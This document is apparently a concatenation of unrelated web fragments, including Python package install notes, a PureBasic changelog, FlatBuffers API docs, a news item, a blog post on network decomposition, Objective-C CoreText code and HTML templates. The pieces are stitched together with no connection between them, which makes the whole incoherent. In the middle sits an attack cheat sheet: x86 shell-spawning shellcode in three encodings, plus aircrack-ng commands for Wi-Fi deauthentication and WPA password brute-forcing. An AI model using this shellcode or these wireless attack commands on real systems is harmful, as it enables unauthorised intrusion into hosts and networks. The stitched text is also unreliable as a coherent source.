Installation¶
Required packages¶
Scraps is written in Python 3.6 (compatible with 2.7) and requires the following packages:
- numpy
- pandas
- scipy
- lmfit
- emcee (optional)
- matplotlib
Downloading and installing¶
The latest stable version of scraps is hosted at PyPi.
If you like pip, you can install with:
pip install scraps
Or, alternatively, download and extract the tarball from the above link and then install from source with:
cd directory_you_unpacked_scraps_into
python setup.py install
Development¶
Development happens at github. You can clone the repo with:
git clone http://github.com/FaustinCarter/scraps
And you can install it in developer mode with pip:
pip install -e /directory/where/you/cloned/scraps
or from source:
cd /directory/where/you/cloned/scraps
python setup.py develop
For the bleeding edge version checkout the develop branch:
cd /directory/where/you/cloned/scraps
git checkout develop
If you like this project and want to contribute, send a message over at the github repo and you can be added as a collaborator!


28th February 2005
PureBasic V3.93 (Windows)
- Added: SortStructuredArray(), SortList(), SortStructuredList()
- Added: Conditional directives to LibraryMaker
- Added: KeyboardMode() (wasn't in the doc)
- Added: Optional 'Color' parameter for ColorRequester() and FontRequester()
- Added: SetGadgetText() can now be used on an editable ComboBoxGadget()
- Added: #PB_Default support to ClipSprite() to remove the clipping
- Added: #PB_FileSystem_Force to CopyDirectory()
- Added: #PB_OS_Windows_Server_2003 support to OSVersion()
- Added: Base64Decoder(), GetGadgetFont()
- Added: ResizeImage() now support a 'Mode' parameter to choose the resize algorythm
- Added: Event when a splitter is moved or resized so the children can be agenced
- Added: Realtime debugger check for Plot(x,y,Color) with ScreenOutput() and SpriteOutput()
- Added: Debugger check to DirectoryEntrySize/Name/Attributes()
- Added: IDE enhancements by Tinman
- Updated: Interface Importer and DirectX9 interfaces in residents (thanks to Traumatic !)
- Updated: Uses of Kale's icons for the IDE
- Updated: French documentation spellchecked and reworked by trasfract
- Optimized: Debugger mode is smaller and allow big structured variables
- Optimized: Splitted Misc library
- Optimized: Faster Base64Encoder() function
- Optimized: Better code generation for string assignement and concatenation
- Changed: OffsetOf() syntax, to fit with the SizeOf() one (more consistent)
- Fixed: A bug in ImageGadget() with XP skin activated and 32 bits bitmaps
- Fixed: ExplorerListGadget() didn't displayed .ico and .lnk files correctly
- Fixed: ButtonImageGadget() was loosing its picture in rare case with XP skins
- Fixed: No more 'ding' (windows sound) on click in fullscreen when ExamineMouse() wasn't used
- Fixed: When using ALT+TAB with a fullscreen application, the icon is correctly displayed
- Fixed: Sprites are now correctly restored when switching back from multitask
- Fixed: CopyDirectory() modified the input string in some case
- Fixed: ListIndex() was broken in some rare cases
- Fixed: RemoveString() and CRC32FingerPrint() couldn't be used in expressions
- Fixed: SetGadgetItemText() was broken for ListView() gadget
- Fixed: ExamineDirectory() with an uninitialized string variable
- Fixed: CalendarGadget() bug when multiple calendars were initialized on the same window
- Fixed: RSet() returned wrong result in some rare cases
- Fixed: CreateFile() failed on hidden files
- Fixed: ZeroMemory_(), FillMemory_(), MoveMemory_() and CopyMemory_() wasn't recognized
- Fixed: #PB_Event_MoveWindow is now correctly recognized
- Fixed: #PB_EventType_LostFocus wasn't sent if 2 stringgadgets were side by side.
- Fixed: Gadget's tooltips wasn't correctly displayed on NT4 when the window was always on top
- Fixed: OGG Plugin wasn't working anymore and sometimes songs were cut. It's also faster to decode.
- Fixed: ResizeImage() doesn't change the image anymore if the same dimensions are used.
- Fixed: TAB in an EditorGadget() doesn't give the focus to others gadgets anymore but insert a Tab
- Fixed: LCase() didn't handled the 'ß' german character correctly
- Fixed: SetGadgetState() wasn't working correctly for OptionGadget()
- Fixed: Debugger's code listing window dimensions are now saved like other windows
- Fixed: EditorGadget() while using AddGadgetItem() with blank strings and -1 position
- Fixed: SortArray() could crash on big already sorted arrays and is now thread safe
- Fixed: ReceiveNetworkFile() didn't handle long filename correctly
- Fixed: Display issues with ButtonImageGadget() and toogle mode (with API)
- Fixed: SpriteWidth() and SpriteHeight() returned wrong values when ClipSprite() was used
- Fixed: MessageRequester() over a console window sent the console window to the back
- Fixed: SetGadgetState() for ListIconGadget() stealed the current focus
- Fixed: Base64Encoder() produced wrong output sometimes
- Fixed: Refresh problem with Frame3DGadget() and #PB_Frame3D_Single/Double flags
- Fixed: GDI resource leak in ButtonImageGadget() and ImageGadget()
- Fixed: RotateSprite3D was using a wrong angle
- Fixed: DisableMenuItem() didn't work with #PB_Any
- Fixed: GadgetWidth() didn't work correctly for SpinGadget()
- Fixed: Date() returned wrong result for the 1970,1,1,0,0,0 case
- Fixed: CallFunctionFast() accepted only 17 parameters instead of 20
- Fixed: OpenWindowedScreen() with AutoStretch mode missed some pixels
- Fixed: Some refresh bug with PanelGadget()
- Fixed: Transparent color error with 32 bits screen and 'texture' sprites
- Fixed: Some small bugs in the IDE
- Fixed: Several compiler bugs (string concatenation, interfaces in procedures)


On the Manage customer page, you can see the organization data that is currently defined for your customers. You can enter attribute values for custom attributes for subscriptions, provided such attributes have been defined, and you can grant discounts to customers.
To manage a customer:
The list shows all customers that have subscribed to one of your services and all customers you have registered, irrespective of whether they have subscribed to a service. The organization IDs of the customers are appended to the names of the organizations.
A maximum of 255 characters can be entered. The values will be included in the billing data for the customer the next time the data is generated. If no value is specified for an attribute, the attribute name will be inserted into the billing data without a value.
The Attributes table also lists custom attributes whose values are to be entered by the customer's administrator or subscription manager during the subscription process. You cannot change the values for these attributes.
A discount can be defined for a customer which applies to all subscriptions of the customer to services. A discount may be valid as of the current or a future month. It can be restricted to a certain period of time. Before the time expires, the customer is notified by email so that he can react and contact the supplier.
The discount is defined as a percentage that is subtracted from the regular total price for a subscription. It is granted for all costs of a customer that incur in a billing period in which the discount is valid. It does not matter whether the discount is valid for the whole billing period or only a part of it. If you change a discount, the new discount is valid the next time the billing data is generated. Usually, you will change a discount only in agreement with the relevant customer.
Enter the discount information as follows:
If you want, for example, a customer to benefit from a discount immediately for one year, leave the From field empty and enter the previous month and the next year in the Thru field.
The customer's administrators are sent an email informing them about the changes you have made.


Comparing web animation techniques by showing how to bounce a ball with each one.
This technique is not supported in your browser. Learn more.


Two drivers arrested on suspicion of driving while intoxicated in Co Kildare
by By Digital Desk staffTwo motorists have been arrested in Naas, Co Kildare.
During an overnight high visibility traffic operation by gardaí in Kildare, over 600 motorists were tested for driving while intoxicated.
The two drivers were arrested on suspicion of driving while intoxicated - one for alcohol and one for drugs.
One car was seized for no insurance, a taxi was impounded for dangerous defects and 15 other minor traffic offences were reported.
The initiative, known as Operation Surround, involves a series of high visibility MIT (mandatory intoxicant testing) checkpoints carried out simultaneously at key locations.
The operation last night was led by Roads Policing units based in Co Kildare supported by local uniformed and drug units.
A total of 20 checkpoints were carried out at locations in Roberstown, Clane, Kilcullen and Naas.


Random Aggies
Suryakiran
Computer Science
Athlete
Brandon
Computer Science
Naturist
Kotaro
Applied Mathematics
LoveOfRice
Suryakiran
Computer Science
Athlete
Suryakiran
Computer Science
Athlete
Suryakiran
Computer Science
Athlete


Dr. Kwame Nkrumah
First Prime Minister of Ghana
Here is a list of some of the achievements of Dr. Nkrumah:
- Independence: - In 6th of March, 1957, Dr. Kwame Nkrumah and the Big Six and faught and gained independence for Ghana from the British rule and became the first Prime Minster of Ghana.
- Development:- it was during his regime that Ghana recorded high number of social services such as schools, hospitals, and roads. Ghana became the first African country to provide free education and healthcare for her people.
- Pan-Africanism: - Internationally, Nkrumah relentlessly pursued his idea of Pan-Africanism and emphasised the need for African Unity. This greatly contributed to the formation of the OAU in 1963.


|
FlatBuffers
An open source project by FPL.
|
Class that helps you build a FlatBuffer. More...
Class that helps you build a FlatBuffer.
See the section "Use in Java/C#" in the main FlatBuffers documentation.
Classes | |
| class | ByteBufferBackedInputStream |
| A class that allows a user to create an InputStream from a ByteBuffer. | |
| interface | ByteBufferFactory |
| An interface that provides a user of the FlatBufferBuilder class the ability to specify the method in which the internal buffer gets allocated. More... | |
| class | HeapByteBufferFactory |
| An implementation of the ByteBufferFactory interface that is used when one is not provided by the user. More... | |
Public Member Functions | |
| void | addBoolean (boolean x) |
Add a boolean to the buffer, properly aligned, and grows the buffer (if necessary). More... | |
| void | addByte (byte x) |
Add a byte to the buffer, properly aligned, and grows the buffer (if necessary). More... | |
| void | addDouble (double x) |
Add a double to the buffer, properly aligned, and grows the buffer (if necessary). More... | |
| void | addFloat (float x) |
Add a float to the buffer, properly aligned, and grows the buffer (if necessary). More... | |
| void | addInt (int x) |
Add an int to the buffer, properly aligned, and grows the buffer (if necessary). More... | |
| void | addLong (long x) |
Add a long to the buffer, properly aligned, and grows the buffer (if necessary). More... | |
| void | addOffset (int off) |
| Adds on offset, relative to where it will be written. More... | |
| void | addShort (short x) |
Add a short to the buffer, properly aligned, and grows the buffer (if necessary). More... | |
| void | clear () |
| Reset the FlatBufferBuilder by purging all data that it holds. | |
| int | createByteVector (byte[] arr) |
| Create a byte array in the buffer. More... | |
| int | createString (CharSequence s) |
Encode the string s in the buffer using UTF-8. More... | |
| int | createString (ByteBuffer s) |
| Create a string in the buffer from an already encoded UTF-8 string in a ByteBuffer. More... | |
| ByteBuffer | createUnintializedVector (int elem_size, int num_elems, int alignment) |
| Create a new array/vector and return a ByteBuffer to be filled later. More... | |
| int | createVectorOfTables (int[] offsets) |
| Create a vector of tables. More... | |
| ByteBuffer | dataBuffer () |
| Get the ByteBuffer representing the FlatBuffer. More... | |
| void | finish (int root_table) |
Finalize a buffer, pointing to the given root_table . More... | |
| void | finish (int root_table, String file_identifier) |
Finalize a buffer, pointing to the given root_table . More... | |
| void | finishSizePrefixed (int root_table) |
Finalize a buffer, pointing to the given root_table , with the size prefixed. More... | |
| void | finishSizePrefixed (int root_table, String file_identifier) |
Finalize a buffer, pointing to the given root_table , with the size prefixed. More... | |
| FlatBufferBuilder (int initial_size, ByteBufferFactory bb_factory) | |
Start with a buffer of size initial_size , then grow as required. More... | |
| FlatBufferBuilder (int initial_size) | |
Start with a buffer of size initial_size , then grow as required. More... | |
| FlatBufferBuilder () | |
| Start with a buffer of 1KiB, then grow as required. | |
| FlatBufferBuilder (ByteBuffer existing_bb, ByteBufferFactory bb_factory) | |
| Alternative constructor allowing reuse of ByteBuffers. More... | |
| FlatBufferBuilder (ByteBuffer existing_bb) | |
| Alternative constructor allowing reuse of ByteBuffers. More... | |
| FlatBufferBuilder | forceDefaults (boolean forceDefaults) |
| In order to save space, fields that are set to their default value don't get serialized into the buffer. More... | |
| FlatBufferBuilder | init (ByteBuffer existing_bb, ByteBufferFactory bb_factory) |
Alternative initializer that allows reusing this object on an existing ByteBuffer . More... | |
| int | offset () |
| Offset relative to the end of the buffer. More... | |
| void | pad (int byte_size) |
| Add zero valued bytes to prepare a new entry to be added. More... | |
| void | prep (int size, int additional_bytes) |
Prepare to write an element of size after additional_bytes have been written, e.g. More... | |
| void | putBoolean (boolean x) |
Add a boolean to the buffer, backwards from the current location. More... | |
| void | putByte (byte x) |
Add a byte to the buffer, backwards from the current location. More... | |
| void | putDouble (double x) |
Add a double to the buffer, backwards from the current location. More... | |
| void | putFloat (float x) |
Add a float to the buffer, backwards from the current location. More... | |
| void | putInt (int x) |
Add an int to the buffer, backwards from the current location. More... | |
| void | putLong (long x) |
Add a long to the buffer, backwards from the current location. More... | |
| void | putShort (short x) |
Add a short to the buffer, backwards from the current location. More... | |
| byte [] | sizedByteArray (int start, int length) |
A utility function to copy and return the ByteBuffer data from start to start + length as a byte[] . More... | |
| byte [] | sizedByteArray () |
A utility function to copy and return the ByteBuffer data as a byte[] . More... | |
| InputStream | sizedInputStream () |
| A utility function to return an InputStream to the ByteBuffer data. More... | |
Protected Member Functions | |
| void | finish (int root_table, boolean size_prefix) |
Finalize a buffer, pointing to the given root_table . More... | |
| void | finish (int root_table, String file_identifier, boolean size_prefix) |
Finalize a buffer, pointing to the given root_table . More... | |
|
inline |
Start with a buffer of size initial_size
, then grow as required.
| initial_size | The initial size of the internal buffer to use. |
| bb_factory | The factory to be used for allocating the internal buffer |
|
inline |
Start with a buffer of size initial_size
, then grow as required.
| initial_size | The initial size of the internal buffer to use. |
|
inline |
Alternative constructor allowing reuse of ByteBuffers.
The builder can still grow the buffer as necessary. User classes should make sure to call dataBuffer() to obtain the resulting encoded message.
| existing_bb | The byte buffer to reuse. |
| bb_factory | The factory to be used for allocating a new internal buffer if the existing buffer needs to grow |
|
inline |
Alternative constructor allowing reuse of ByteBuffers.
The builder can still grow the buffer as necessary. User classes should make sure to call dataBuffer() to obtain the resulting encoded message.
| existing_bb | The byte buffer to reuse. |
|
inline |
Add a boolean
to the buffer, properly aligned, and grows the buffer (if necessary).
| x | A boolean to put into the buffer. |
|
inline |
Add a byte
to the buffer, properly aligned, and grows the buffer (if necessary).
| x | A byte to put into the buffer. |
|
inline |
Add a double
to the buffer, properly aligned, and grows the buffer (if necessary).
| x | A double to put into the buffer. |
|
inline |
Add a float
to the buffer, properly aligned, and grows the buffer (if necessary).
| x | A float to put into the buffer. |
|
inline |
Add an int
to the buffer, properly aligned, and grows the buffer (if necessary).
| x | An int to put into the buffer. |
|
inline |
Add a long
to the buffer, properly aligned, and grows the buffer (if necessary).
| x | A long to put into the buffer. |
|
inline |
Adds on offset, relative to where it will be written.
| off | The offset to add. |
|
inline |
Add a short
to the buffer, properly aligned, and grows the buffer (if necessary).
| x | A short to put into the buffer. |
|
inline |
Create a byte array in the buffer.
| arr | A source array with data |
|
inline |
Encode the string s
in the buffer using UTF-8.
If
is already a CharBuffer, this method is allocation free.
| s | The string to encode. |
|
inline |
Create a string in the buffer from an already encoded UTF-8 string in a ByteBuffer.
| s | An already encoded UTF-8 string as a ByteBuffer . |
|
inline |
Create a new array/vector and return a ByteBuffer to be filled later.
Call endVector after this method to get an offset to the beginning of vector.
| elem_size | the size of each element in bytes. |
| num_elems | number of elements in the vector. |
| alignment | byte alignment. |
|
inline |
Create a vector of tables.
| offsets | Offsets of the tables. |
|
inline |
Get the ByteBuffer representing the FlatBuffer.
Only call this after you've called finish()
. The actual data starts at the ByteBuffer's current position, not necessarily at 0
.
|
inlineprotected |
Finalize a buffer, pointing to the given root_table
.
| root_table | An offset to be added to the buffer. |
| size_prefix | Whether to prefix the size to the buffer. |
|
inline |
Finalize a buffer, pointing to the given root_table
.
| root_table | An offset to be added to the buffer. |
|
inlineprotected |
Finalize a buffer, pointing to the given root_table
.
| root_table | An offset to be added to the buffer. |
| file_identifier | A FlatBuffer file identifier to be added to the buffer before root_table . |
| size_prefix | Whether to prefix the size to the buffer. |
|
inline |
Finalize a buffer, pointing to the given root_table
.
| root_table | An offset to be added to the buffer. |
| file_identifier | A FlatBuffer file identifier to be added to the buffer before root_table . |
|
inline |
Finalize a buffer, pointing to the given root_table
, with the size prefixed.
| root_table | An offset to be added to the buffer. |
|
inline |
Finalize a buffer, pointing to the given root_table
, with the size prefixed.
| root_table | An offset to be added to the buffer. |
| file_identifier | A FlatBuffer file identifier to be added to the buffer before root_table . |
|
inline |
In order to save space, fields that are set to their default value don't get serialized into the buffer.
Forcing defaults provides a way to manually disable this optimization.
| forceDefaults | When set to true , always serializes default values. |
this
.
|
inline |
Alternative initializer that allows reusing this object on an existing ByteBuffer
.
This method resets the builder's internal state, but keeps objects that have been allocated for temporary storage.
| existing_bb | The byte buffer to reuse. |
| bb_factory | The factory to be used for allocating a new internal buffer if the existing buffer needs to grow |
this
.
|
inline |
Offset relative to the end of the buffer.
|
inline |
Add zero valued bytes to prepare a new entry to be added.
| byte_size | Number of bytes to add. |
|
inline |
Prepare to write an element of size
after additional_bytes
have been written, e.g.
if you write a string, you need to align such the int length field is aligned to com.google.flatbuffers.Constants#SIZEOF_INT, and the string data follows it directly. If all you need to do is alignment, additional_bytes
will be 0.
| size | This is the of the new element to write. |
| additional_bytes | The padding size. |
|
inline |
Add a boolean
to the buffer, backwards from the current location.
Doesn't align nor check for space.
| x | A boolean to put into the buffer. |
|
inline |
Add a byte
to the buffer, backwards from the current location.
Doesn't align nor check for space.
| x | A byte to put into the buffer. |
|
inline |
Add a double
to the buffer, backwards from the current location.
Doesn't align nor check for space.
| x | A double to put into the buffer. |
|
inline |
Add a float
to the buffer, backwards from the current location.
Doesn't align nor check for space.
| x | A float to put into the buffer. |
|
inline |
Add an int
to the buffer, backwards from the current location.
Doesn't align nor check for space.
| x | An int to put into the buffer. |
|
inline |
Add a long
to the buffer, backwards from the current location.
Doesn't align nor check for space.
| x | A long to put into the buffer. |
|
inline |
Add a short
to the buffer, backwards from the current location.
Doesn't align nor check for space.
| x | A short to put into the buffer. |
|
inline |
A utility function to copy and return the ByteBuffer data from start
to start
+ length
as a byte[]
.
| start | Start copying at this offset. |
| length | How many bytes to copy. |
| IndexOutOfBoundsException | If the range of bytes is ouf of bound. |
|
inline |
A utility function to copy and return the ByteBuffer data as a byte[]
.
|
inline |
A utility function to return an InputStream to the ByteBuffer data.


IntroductionIn this section of the tutorial, we are going to build a real-time most popular python application known as website blocker. This application can be used to block the websites so that the user can not open them during the specific period. Let's discuss how can we build such an application by using python. |
IntroductionIn this section of the tutorial, we are going to build a real-time most popular python application known as website blocker. This application can be used to block the websites so that the user can not open them during the specific period. Let's discuss how can we build such an application by using python. |
IntroductionIn this section of the tutorial, we are going to build a real-time most popular python application known as website blocker. This application can be used to block the websites so that the user can not open them during the specific period. Let's discuss how can we build such an application by using python. |
IntroductionIn this section of the tutorial, we are going to build a real-time most popular python application known as website blocker. This application can be used to block the websites so that the user can not open them during the specific period. Let's discuss how can we build such an application by using python. |


Startup
Home
Servises
About
Works
Blog
Clients
Contact
Welcome to startup
Lorem ipsum dolor sit amet.
get started


Network decomposition 5: The algorithm
21 May 2020This is the fifth post of a series on distributed network decomposition. The introductory post of this series is here.
In this post, we (finally!) describe the algorithm of the paper of Ghaffari and Rozhon.
Recap of previous episodes
In the previous posts, we saw what a network decomposition is, why it is useful, how to compute it in a sequential model via ball-carving, and why computing only a weak decomposition is not problematic. In this post we show the new algorithm to build a (weak) network decomposition.
Overview
An overview of the algorithm can be given as a comparison with the centralized construction presented in the third post of this series. First, just as in the centralized construction, the color classes will be built one by one, and each color will “take” a constant fraction of the remaining nodes, which insures that we get a logarithmic number of colors. As a consequence, in the remaining of this post, we will be interested only in building the first color class, as the other classes are built the same way. More precisely, as in the centralized construction, our goal is now to build a set of clusters separated by frozen nodes, with small (weak) diameters, and with the constraint that not too many nodes are frozen.
Now, unlike in the sequential construction, we cannot grow balls one after the other (this would take at least diameter time, and the diameter can be large). One could try to first find a good set of nodes, far away one from the others, and to start growing balls in parallel from these nodes. But finding this set of nodes looks as hard as computing the decomposition itself (remember that we build a network decomposition to compute maximal independent sets, among other things).
Hence another technique has to be used.
Separating the graph
Instead of growing clusters, we will separate the graph into smaller and smaller pieces (by freezing nodes).
A key idea of the algorithm is to use the digits of the identifiers of the nodes written in binary. A first attempt in this direction is the following. Let us start by having two sets of nodes, the ones whose IDs begin with 0, and the ones whose IDs begin with 1. We will draw these sets as respectively blue and red. Now if we want to be sure that not two nodes of different colors (red and blue) are adjacent, we can freeze one of the nodes for every bicolored edge. In a good scenario, we get the following picture.
But this is a good case, and in general this technique is bad. First, of course as the identifiers are not required to be uniformly distributed between red and blue, all nodes could be blue. But this is not really a problem: anyway we will have to somehow iterate the construction to all digits one by one, and the IDs are all distinct, thus at some point we will have two non-empty groups. The main problem is the number of frozen nodes: it can be huge, almost all the nodes can be frozen. This is bad for us: we want to get a color class that contains a constant fraction of the nodes of the graph. (Note that even if you could get only half of the nodes frozen at this step, as we will iterate this for all digits, it wouldn’t work.)
So now we have to answer the question: how to get a small number of frozen nodes when separating the red and the blue nodes?
Before going into that, let us restate at which level of the explanation we are (as there are quite a lot of levels). We want to build a network decomposition, for this we first want to build a first color class, and for this we first want to separate the nodes whose identifiers start with 0 (the blue nodes in the pictures) and the nodes whose identifiers start with 1 (the red nodes in the pictures)
Ball carving is back
We know a technique to separate some parts of the graph without freeing too many nodes: growing a ball like in the third post (that is, “ball carving”). The idea is to consider the blue and red nodes in a non-symmetrical way: blue nodes are starting point for ball carving, and red nodes want to join such balls. That is, every blue node starts as a one-node ball, and then, until this is not possible:
- the (non-frozen) red nodes that have at least one blue neighbor propose to join the ball of one of these blue nodes (arbitrarily),
- the blue balls accept if the number of red nodes proposing is large enough, and reject otherwise,
- if the blue ball accepts, the red nodes proposing become blue, if it rejects, they freeze.
When a red node joins a blue ball, we add an edge to the Steiner tree of this ball to link this node. Also this node change its ID, to take the identifier of the ball. Hence these numbers are not really identifiers any more, and from now on we’ll say label.
After this ball carving process we have:
- more blue nodes and less red nodes,
- no edge between a red and a blue node,
- not too many frozen nodes,
- clusters whose Steiner tree have at most logarithmic diameter.
Which is pretty good! But of course, the clusters of same color can be adjacent, and we don’t want that. We have to refine this partition. Note that now the blue and red nodes will live in two independent worlds, separated by frozen nodes.
The second digit
Now we will go to the second digit of the labels. There are quite a few things that are simpler for the first digit, thus we cannot simply say “do it again”.
First of all forget about the colors of the nodes given by the first digit, and color them with the color of the second digit (blue for _0 and red for _1). This means that we have again adjacent red and blue clusters: either two clusters that were previously blue whose labels differ on the second bit, or two nodes that were previously red (and are also clusters restricted to one node), also with different second digit.
A natural way to iterate the construction would be the following: consider the clusters as the nodes of the previous phase and make the same construction at this level. That is, the red clusters propose to the blue clusters etc. But this would not be good: we could freeze an arbitrary red cluster because it proposed to blue clusters with few neighbors, and this red cluster might be huge.
What we do instead is to make the red nodes act individually without coordination inside the red cluster (but keep the blue nodes acting as a cluster). That is: every red node that is adjacent to a blue cluster proposes to join this cluster (breaking ties arbitrarily), and is accepted if enough such nodes want to join. And we do the ball carving this way. A red node, if it joins a blue cluster, will be linked the Steiner tree of this cluster, and take the label of this cluster.
A few non-intuitive things
Now, there are a few non-intuitive things going on. First, suppose that after the first digit, we had a nice cluster, and that the second digit of its label is a 1. Then, this cluster is basically dismantled during the phase corresponding to the second digit, because many nodes of this cluster might be eaten by adjacent blue clusters. This looks counter-intuitive but seems necessary to separate clusters further.
Second, it is possible that nodes having the same label, do not form a connected component anymore. Indeed, consider a cluster that was blue before, and now is red. With the ball-carving, some nodes of this cluster become blue, some nodes are frozen and some nodes are still red and separated from blue nodes by frozen nodes. It is possible that these red nodes (that have the same labels) form disconnected islands that were linked by nodes that are now blue or frozen. But they still form a cluster: we have not erased the previous Steiner tree, thus they are still linked. And this is important: at the next digit, this label may give color blue, and then these nodes have to act in a coordinated way. This is why we need to talk about weak decompositions and not strong ones.
One more non-intuitive thing is that, because of the same reason, the nodes of a cluster may have a label that is the ID of a node that is not anymore in the cluster.
That’s it!
This is pretty much the algorithm! Then you just iterate on the digits of the labels, and at the end, the all clusters are separated by frozen nodes, have a controlled weak diameter, and not too many nodes have been frozen. This way we get the first color class, and then we can go to second color class,etc.
By setting the right parameters for the ball carving, you get an algorithm that use polylogarithmic time to build a network decomposition with logarithmic weak diameter and a logarithmic number of colors.


# Shell storm char shellcode[] = "\x31\xc0\x50\x68\x2f\x2f\x73" "\x68\x68\x2f\x62\x69\x6e\x89" "\xe3\x89\xc1\x89\xc2\xb0\x0b" "\xcd\x80\x31\xc0\x40\xcd\x80"; # Shell storm one-liner \x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80 # Shell storm min-escape 31c050682f2f73 68682f62696e89 e389c189c2b00b cd8031c040cd80 # Aircrack-ng ifconfig airmon-ng start [interface] airodump-ng [interface] airodump-ng -c [channel] --bssid [bssid] -w /root/Desktop/ [monitor interface] # Deauth Attack aireplay-ng –0 2 –a [router bssid] –c [client bssid] mon0 # Aircrack Bruteforce aircrack-ng -a2 -b [router bssid] -w [path to wordlist] /root/Desktop/*.cap


Performs likelihood-based estimation and inference on time to event data, possibly subject to non-informative right censoring. fitParaSurv() provides maximum likelihood estimates of model parameters and distributional characteristics. compParaSurv() compares the mean and median survival experiences of two treatment arms. Candidate distributions currently include the exponential, gamma, generalized gamma, log-logistic, log-normal, and Weibull.
| Version: | 0.1.1 |
| Depends: | R (≥ 3.4.0) |
| Imports: | expint, methods, numDeriv, plyr, Rcpp, stats |
| LinkingTo: | Rcpp, RcppEigen |
| Suggests: | knitr, rmarkdown |
| Published: | 2018-10-07 |
| Author: | Zachary McCaw [aut, cre] |
| Maintainer: | Zachary McCaw <zmccaw at g.harvard.edu> |
| License: | GPL-3 |
| NeedsCompilation: | yes |
| CRAN checks: | Temporal results |
| Reference manual: | Temporal.pdf |
| Vignettes: |
Temporal |
| Package source: | Temporal_0.1.1.tar.gz |
| Windows binaries: | r-devel: Temporal_0.1.1.zip, r-release: Temporal_0.1.1.zip, r-oldrel: Temporal_0.1.1.zip |
| OS X binaries: | r-release: Temporal_0.1.1.tgz, r-oldrel: Temporal_0.1.1.tgz |
Please use the canonical form https://CRAN.R-project.org/package=Temporal to link to this page.


CoreText is a very powerful system for laying out text in arbitrary ways. This is going to be a bit of a whirlwind tour of it to help out nonamelive on StackOverflow.</a> I’m working on an advanced iOS book right now, and I’ll have a longer writeup there.
Once you have your arbitrary paths, you want to break them down into rectangles. I’ve written some code to do this that assumes a known hight for the text lines. Things get more complicated if you have text that includes different font sizes (you need to do some guessing, then try to layout, and go back and correct things if you were wrong).
The goal of this code is to walk down the path boundary, trying to grow an ever-larger rectangle. If the width or the offset of the boundary changes, then it starts a new rectangle.
- (CFArrayRef)copyRectangularPathsForPath:(CGPathRef)path
height:(CGFloat)height {
CFMutableArrayRef paths = CFArrayCreateMutable(NULL, 0,
&kCFTypeArrayCallBacks);
// First, check if we're a rectangle. If so, we can skip the hard parts.
CGRect rect;
if (CGPathIsRect(path, &rect)) {
CFArrayAppendValue(paths, path);
}
else {
// Build up the boxes one line at a time. If two boxes have the
// same width and offset, then merge them.
CGRect boundingBox = CGPathGetPathBoundingBox(path);
CGRect frameRect = CGRectZero;
for (CGFloat y = CGRectGetMaxY(boundingBox) - height;
y > height; y -= height) {
CGRect lineRect =
CGRectMake(CGRectGetMinX(boundingBox), y,
CGRectGetWidth(boundingBox), height);
CGContextAddRect(UIGraphicsGetCurrentContext(), lineRect);
// Do the math with full precision so we don't drift,
// but do final render on pixel boundaries.
lineRect = CGRectIntegral(clipRectToPath(lineRect, path));
CGContextAddRect(UIGraphicsGetCurrentContext(), lineRect);
if (! CGRectIsEmpty(lineRect)) {
if (CGRectIsEmpty(frameRect)) {
frameRect = lineRect;
}
else if (frameRect.origin.x == lineRect.origin.x &&
frameRect.size.width == lineRect.size.width) {
frameRect = CGRectMake(lineRect.origin.x, lineRect.origin.y, lineRect.size.width,
CGRectGetMaxY(frameRect) - CGRectGetMinY(lineRect));
}
else {
CGMutablePathRef framePath =
CGPathCreateMutable();
CGPathAddRect(framePath, NULL, frameRect);
CFArrayAppendValue(paths, framePath);
CFRelease(framePath);
frameRect = lineRect;
}
}
}
if (! CGRectIsEmpty(frameRect)) {
CGMutablePathRef framePath = CGPathCreateMutable();
CGPathAddRect(framePath, NULL, frameRect);
CFArrayAppendValue(paths, framePath);
CFRelease(framePath);
}
}
return paths;
}
Remember, the coordinate system here is flipped for iOS. So CGRectGetMaxY()
is returning the top of the box, not the bottom. The call to clipRectToPath()
is from my previous post on clipping rectangles to paths. Also noteworthy here is our use of UIGraphicsGetCurrentContext()
. This routine is meant to be called inside of drawRect:
.
There are some inefficiencies here. More efficient approaches would calculate the rectangles a single time, rather than during drawRect:
(though this isn’t as inefficient as it sounds, since we try to avoid calling drawRect:
more than we need). A better implementation could avoid some of the memory churn in clipRectToPath()
by allocating a single large buffer. But this hopefully is a reasonable example of how to attack the problem.
An example Xcode project is attached.


{% seo %}
DOI for latest release according to Zenodo.
{{ site.description | default: site.github.project_tagline }}
{% if true or site.github.is_project_page %}Currently viewing version: {{pageVersion}}
View the Project on GitHub {{ site.github.repository_nwo }}
{% endif %} {% if site.github.is_user_page %} {% endif %} {% if site.show_downloads %} {% endif %}{% endif %} {% unless pageVersion == site.latest %}This is not a stable version!
You are currently viewing the documentation for a development version. It is not guaranteed that this documentation is up to date. Things will likely change without announcement or versioning incrementation. If there is no other documentation available, there are likely no releases available for this repository. The content is, therefore, likely still in development and not production ready. Use at your own risk!
{% endunless %} {% endif %} {{ content }}Please be aware that the page you are currently viewing is not for the latest available version!


Resort Island
Site Navigation
Accomodations
Activities
Travel Arrangements
Pictures, etc.
Contact Information


Ripple of Emotion
Media art project
Liquid Media (a.k.a. Ripple of emotion) was an interactive instrument which manipulates not only the sound but images. It was like playing a piano in front of a pond which rippled in accordance with the keys that the player had touched. We installed a beam projector which was facing toward the ground. It was reflected through the water pool we installed in between the ground and the beam projector. Two robot arms on each side of the pool moved in relation with the touched keynotes. They made ripples on the surface of the water pool. I programmed an interface between MIDI keyboard and the robot arms.
- Was a new type of an instrument which plays not only sounds but also images.
- Programmed an interface between a MIDI keyboard and robot arms.
- Used Visual Studio 6.0 in Window Platform.


Publications
Files
Uploaded publications
{% for publication in publications %}
Title: {{ publication['title'] }}
Authors: {{ publication['authors'] }}
Year: {{ publication['year'] }}
{% for file in publication['files'] %}
{{ file['filename'] }}
( detach )
{% endfor %}
( delete )
{% endfor %}
Upload new publication
New publication
Attach file to publication
File:
{% for file in files_list %}
{{ file }}
{% endfor %}
Publication:
{% for publication in publications %}
{{ publication['title'] }}
{% endfor %}
Logged in as: {{ username }}
Sign out


{% block content %}
| name | address | city | state_province | country | website |
| {{ publisher.name }} | {{ publisher.address }} | {{ publisher.city }} | {{ publisher.state_province }} | {{ publisher.country }} | {{ publisher.website }} |
| {{ book.title }} | {{ book.publisher }} | {{ book.publication_date }} | {{ book.num_pages }} |


Services
Mobile First Responsive Design Full-stack Web Development
Elegant and Functional
UI|UX
Mobile Web App
Creation and Conversion
Custom WordPress
CMS Solutions
Contact
Message us if you would like us to work on a website or app for you.
Mobile First Responsive Design Full-stack Web Development
